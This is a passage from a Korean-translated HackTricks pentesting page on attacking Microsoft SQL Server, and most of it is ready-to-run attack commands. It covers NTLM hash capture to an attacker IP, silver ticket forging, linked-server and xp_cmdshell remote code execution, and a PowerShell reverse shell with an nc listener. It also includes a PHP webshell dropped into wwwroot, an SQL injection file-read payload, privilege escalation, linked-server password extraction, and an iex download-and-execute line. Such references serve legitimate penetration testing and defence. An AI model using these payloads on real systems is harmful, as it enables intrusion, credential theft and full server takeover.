# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Warning
누구(sysadmins 외)가 이런 MSSQL functions를 실행할 권한이 있는지 다음으로 확인할 수 있습니다:
Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist';
responder 또는 Inveigh 같은 도구를 사용하면 NetNTLM hash를 steal할 수 있습니다.
이런 도구를 사용하는 방법은 다음에서 볼 수 있습니다:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NetNTLMv2 capture에서 MSSQL silver ticket로 (PAC group injection)
- Responder와 함께
xp_dirtree '\\\\<attacker_ip>\\share'를 사용해 SQL Server service account의 NetNTLMv2를 capture합니다 (Hashcat mode 5600으로 crack). - 복구된 password에서 service NTLM hash를 derive합니다:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
SELECT SUSER_SID('DOMAIN\\Domain Users');로 domain SID bytes를 얻습니다. (RID = 마지막 4 bytes, little endian)nxc mssql ... --rid-brute로 RID를 map/brute 해서 sysadmin을 부여하는 group을 찾습니다(예: RID1105).- MSSQL SPN에 대해 privileged group RID가 PAC에 주입된 silver ticket을 forge합니다:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
- 필요하다면
xp_cmdshell을 활성화하세요; 명령은 위조된 ticket를 통해 impersonating하더라도 SQL Server 서비스 계정으로 실행됩니다.
MSSQL trusted Links 악용하기
이 글을 읽어보세요 이 기능을 악용하는 방법에 대한 더 많은 정보를 찾으려면:
Linked-server credential mapping -> remote sysadmin -> OS RCE
Linked servers는 non-self login mapping(Local Login -> Remote Login)으로 설정할 수 있습니다. 이 경우 첫 번째 SQL Server의 low-privileged login은 매핑된 remote principal로서 두 번째 서버에서 쿼리를 실행할 수 있습니다. linked instance가 다른 domain 또는 forest에 있어도 동일하게 동작합니다.
먼저 links와 그 mappings를 열거하세요:
EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';
그런 다음 원격 측에서 어떤 계정이 되는지, 그리고 그것이 sysadmin인지 확인하세요:
EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];
매핑된 remote login이 sysadmin이면, linked server는 remote code execution primitive가 됩니다. 왜냐하면 원격 인스턴스를 재구성하고 SQL Server service account로 OS 명령을 실행할 수 있기 때문입니다:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];
impacket-mssqlclient를 사용하면, 같은 워크플로우가 보통 더 빠릅니다:
mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami
단일 명령 실행을 대화형 shell로 업그레이드하려면 xp_cmdshell을 통해 reverse shell을 실행하세요:
xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443
Tip
xp_cmdshell이 disabled되어 있으면, 초기 error는 종종sp_configure/RECONFIGURE가 intended enablement path임을 확인해 줍니다. 또한Policy_Backup.inf같은 exported policy files (secedit /exportoutput)도 찾아보세요. 이런 파일들은SeImpersonatePrivilege,SeDebugPrivilege, Kerberos skew, SMB signing, NTLM hardening 같은 local rights assignments를 노출할 수 있으며, SQL host에 착지한 뒤 다음 privilege-escalation step을 선택하는 데 도움이 됩니다.
Write Files
MSSQL을 사용해 files를 write하려면, Ole Automation Procedures를 enable해야 합니다. 이는 admin privileges를 요구하며, 그 다음 file을 create하기 위해 일부 stored procedures를 execute해야 합니다:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
OPENROWSET로 파일 읽기
기본적으로 MSSQL은 해당 계정이 읽기 권한을 가진 운영 체제의 모든 파일에 대해 읽기를 허용합니다. 다음 SQL query를 사용할 수 있습니다:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
하지만 BULK 옵션은 ADMINISTER BULK OPERATIONS 또는 ADMINISTER DATABASE BULK OPERATIONS 권한을 요구합니다.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
SQLi를 위한 Error-based vector:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/Read files executing scripts (Python and R)
MSSQL은 Python 및/또는 R에서 scripts를 실행할 수 있게 해줄 수 있습니다. 이 코드들은 xp_cmdshell을 사용해 명령을 실행하는 사용자와는 다른 사용자로 실행됩니다.
‘R’ “Hellow World!” 를 실행해보려 했지만 작동하지 않는 예시:
.png)
설정된 python을 사용해 여러 작업을 수행하는 예시:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
Registry 읽기
Microsoft SQL Server는 여러 extended stored procedures를 제공하며, 이를 통해 네트워크뿐만 아니라 파일 시스템, 심지어 Windows Registry와도 상호작용할 수 있습니다**:**
| Regular | Instance-Aware |
|---|---|
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
For more examples check out the original source.
MSSQL User Defined Function를 이용한 RCE - SQLHttp
커스텀 함수가 있는 .NET dll을 MSSQL 내에 로드하는 것이 가능합니다. 다만, 이는 dbo 접근 권한이 필요하므로 데이터베이스에 sa 또는 Administrator role로 연결해야 합니다.
Following this link to see an example.
autoadmin_task_agents를 이용한 RCE
According to this post, it’s also possible to load a remote dll and make MSSQL execute it with something like:
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
With:
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}
public override void DoWork()
{
}
public override void ExternalJob(string command, LogBaseService jobLogger)
{
}
public override void Start(IServicesFactory services)
{
}
public override void Stop()
{
}
public void Test()
{
}
}
}
RCE를 위한 다른 방법
명령 실행을 얻는 다른 방법들도 있습니다. 예를 들어 extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, 그리고 external scripts를 추가하는 방법이 있습니다.
MSSQL 권한 상승
db_owner에서 sysadmin으로
일반 user가 admin 사용자(예: sa)가 소유한 database에 대해 db_owner 역할을 부여받고, 그 database가 **trustworthy**로 설정되어 있으면, 그 사용자는 이 권한을 악용해 privesc를 할 수 있습니다. 그 안에 생성된 stored procedures가 소유자(admin) 권한으로 execute될 수 있기 때문입니다.
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
You can use a metasploit module:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
또는 PS script:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
다른 사용자로의 Impersonation
SQL Server에는 **IMPERSONATE**라는 특별한 권한이 있으며, 이는 실행 중인 사용자가 세션이 초기화되거나 종료될 때까지 다른 사용자 또는 login의 권한을 가져갈 수 있게 합니다.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
Tip
사용자로 가장할 수 있다면, 그 사용자가 sysadmin이 아니더라도 사용자가 접근 권한을 가진 다른 databases나 linked servers를 확인해야 합니다.
sysadmin이 되면 다른 어떤 사용자로도 가장할 수 있습니다:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
이 공격은 metasploit 모듈로 수행할 수 있습니다:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
또는 PS 스크립트로:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
MSSQL를 사용한 Persistence
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
SQL Server Linked Servers에서 password 추출
공격자는 SQL Server Linked Servers password를 SQL Instances에서 추출해 평문으로 얻을 수 있으며, 이를 통해 대상에서 더 큰 foothold를 확보하는 데 사용할 수 있는 password를 획득할 수 있습니다. Linked Servers에 저장된 password를 추출하고 decrypt하는 스크립트는 here에서 찾을 수 있습니다.
이 exploit이 동작하려면 몇 가지 요구 사항과 설정이 필요합니다. 우선, 해당 머신에서 Administrator 권한이 있거나 SQL Server Configurations를 관리할 수 있어야 합니다.
권한을 확인한 후에는 다음 세 가지를 구성해야 합니다:
- SQL Server instances에서 TCP/IP를 활성화합니다;
- Start Up parameter를 추가합니다. 이 경우 trace flag가 추가되며, 값은 -T7806입니다.
- remote admin connection을 활성화합니다.
이 설정을 자동화하려면, this repository 에 필요한 스크립트가 있습니다. 각 설정 단계별 powershell script뿐 아니라, 설정 스크립트와 password extraction 및 decrypt를 결합한 전체 스크립트도 포함되어 있습니다.
이 공격에 대한 추가 정보는 다음 링크를 참고하세요: Decrypting MSSQL Database Link Server Passwords
Troubleshooting the SQL Server Dedicated Administrator Connection
Local Privilege Escalation
MSSQL server를 실행하는 user는 privilege token SeImpersonatePrivilege.
아마도 다음 2 paged 중 하나를 따라 escalate to Administrator할 수 있을 것입니다:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Shodan
port:1433 !HTTP
References
- Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd
- HTB: DarkZero - linked-server credential mapping to cross-forest RCE
- HTB: Signed - MSSQL coercion to silver ticket sysadmin
- Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
- https://mayfly277.github.io/posts/GOADv2-pwning-part12/
- https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp
HackTricks Automatic Commands
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


